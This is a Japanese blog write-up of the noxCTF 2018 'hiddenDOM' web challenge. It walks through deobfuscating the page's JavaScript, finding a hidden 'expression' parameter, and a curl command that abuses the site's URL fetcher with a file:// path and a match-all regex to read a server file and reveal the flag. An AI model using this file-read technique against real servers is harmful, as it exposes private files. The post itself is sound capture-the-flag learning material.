こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

noxCTF 2018 - hiddenDOM

問題文

I decided to create a tool that searches for hidden elements inside a web pages. Few days ago someone told me that my website is not so /secure/... Can you check it yourself ?
http://13.59.2.198:5588

f:id:graneed:20180908233026p:plain

writeup

URLの入力フォームと、Checkボタンがある。

試しに問題サイトのURLを入力してCheckボタンを押下すると、テキストエリアが表示された。 f:id:graneed:20180908233658p:plain

<body background="hidden.jpg" style="background-size:cover;">
<input type="text" name="target" placeholder="Find hidden elements (URL)" style="background-color:#d1d1d1; color:#717d85;">

入力したURLのコンテンツ内から"hidden"を含む行を表示するようだ。
また、入力したURLのコンテンツが存在しない場合は、テキストエリアは表示されない。

HTMLソースを確認すると、怪しい箇所を2点発見。

  • コメント
<a href='/var/www/html/flag.txt' hidden>-_-</a>

URLにfile:///var/www/html/flag.txtを入力すると、空のテキストエリアが表示された。 "hidden"というワードがフラグ文字列に含まれていないため表示されないが、flag.txtの取得はできたようだ。

<script>
var _0x3bc3=["\x6D\x61\x69\x6E\x5F\x66\x6F\x72\x6D","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x69\x6E\x70\x75\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x6E\x61\x6D\x65","\x65\x78\x70\x72\x65\x73\x73\x69\x6F\x6E","\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65","\x74\x79\x70\x65","\x74\x65\x78\x74","\x70\x6C\x61\x63\x65\x68\x6F\x6C\x64\x65\x72","\x2F\x3C\x5B\x5E\x3C\x3E\x5D\x7B\x31\x2C\x7D\x68\x69\x64\x64\x65\x6E\x5B\x5E\x3C\x3E\x5D\x7B\x31\x2C\x7D\x3E\x2F"];var _frss=document[_0x3bc3[1]](_0x3bc3[0]);var _xEger=document[_0x3bc3[3]](_0x3bc3[2]);_xEger[_0x3bc3[6]](_0x3bc3[4],_0x3bc3[5]);_xEger[_0x3bc3[6]](_0x3bc3[7],_0x3bc3[8]);_xEger[_0x3bc3[6]](_0x3bc3[9],_0x3bc3[10])
</script>

難読化を解除する。解除には以下のサイトを使用した。
Online JavaScript beautifier

var _frss = document['getElementById']('main_form');
var _xEger = document['createElement']('input');
_xEger['setAttribute']('name', 'expression');
_xEger['setAttribute']('type', 'text');
_xEger['setAttribute']('placeholder', '/<[^<>]{1,}hidden[^<>]{1,}>/')

_frssは特に使用していないし、生成した_xEgerも使用していない。 ただ、_xEgerのplaceholderの正規表現は、サーバ側でテキストエリアに表示する条件と考えられる。

もしかすると、_xEger(expressionパラメータ)は、サーバ側のフィルタ条件を変更するための項目ではないだろうか。開発中またはデバッグ機能のため、_frss_xEgerを追加(appendChild)していないシナリオと想定される。

curlでexpressionパラメータも送信する。 /.*/を指定し、全てにマッチする条件にする。

root@kali:~/Contest/noxCTF2018# curl http://13.59.2.198:5588/index.php -G --data-urlencode "target=file:///var/www/html/flag.txt" --data-urlencode "expression=/.*/"
<html>
(snip)
    <a href='/var/www/html/flag.txt' hidden>-_-</a><button id='showArea' class='button' style='margin-right:10px;'>show</button><button id='hideArea' class='button'>hide</button><br /><br /><textarea id='hidden_elements' rows='20' cols='85' style='background-color:#d1d1d1; color:#424242'>
noxCTF{/[h1DD3N]*[55Rf]*[r393X]*/}
(snip)

ビンゴ。フラグゲット。
noxCTF{/[h1DD3N]*[55Rf]*[r393X]*/}